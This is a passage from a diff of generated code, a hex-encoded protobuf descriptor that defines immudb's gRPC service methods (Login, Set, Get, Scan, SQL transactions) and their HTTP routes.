0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, + 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, + 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, + 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, - 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, - 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, - 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, - 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, - 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, - 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, - 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, - 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, - 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, - 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, - 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, - 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, - 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, - 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, - 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, - 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, - 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, - 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, - 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, - 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, - 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, - 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, - 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, - 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, - 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, - 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, - 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, - 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, + 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, + 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, + 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, + 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, + 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, + 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, + 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, + 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, + 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, + 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, + 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, + 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, + 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, + 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, + 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, + 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, + 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, + 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, + 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, + 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, + 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, + 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 